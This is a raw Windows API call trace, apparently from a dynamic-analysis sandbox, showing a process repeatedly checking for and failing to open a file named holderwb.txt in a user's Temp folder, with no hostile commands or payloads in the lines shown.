	[0099.086] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.086] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.086] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.087] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.087] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.087] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.087] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.088] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.088] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.088] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.088] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.088] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.088] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.089] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.089] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.089] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.089] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.089] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.089] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.089] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.089] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.089] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.089] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.090] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.090] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.090] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.090] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.090] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.090] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.090] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.090] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.090] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.091] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.091] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.091] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.091] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.091] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.091] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.092] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.092] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.092] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.092] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.092] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.092] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.092] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.093] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.093] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.093] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.093] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.093] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.093] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.093] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.093] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.094] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.094] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.094] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.094] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.094] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.094] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.094] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.094] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.094] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.094] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.094] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.095] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.095] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.095] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.095] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.095] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.095] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.096] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.096] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.096] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.096] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.096] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.097] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.097] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.097] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.097] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.097] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.097] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.097] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.097] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.097] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.097] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.097] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.098] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.098] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.098] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.098] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.098] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.098] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.098] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.098] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.098] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.098] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.098] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.099] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.099] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.099] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.099] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.099] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.100] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.100] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.100] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.100] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.100] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.100] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.100] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.101] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.101] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.101] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.101] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
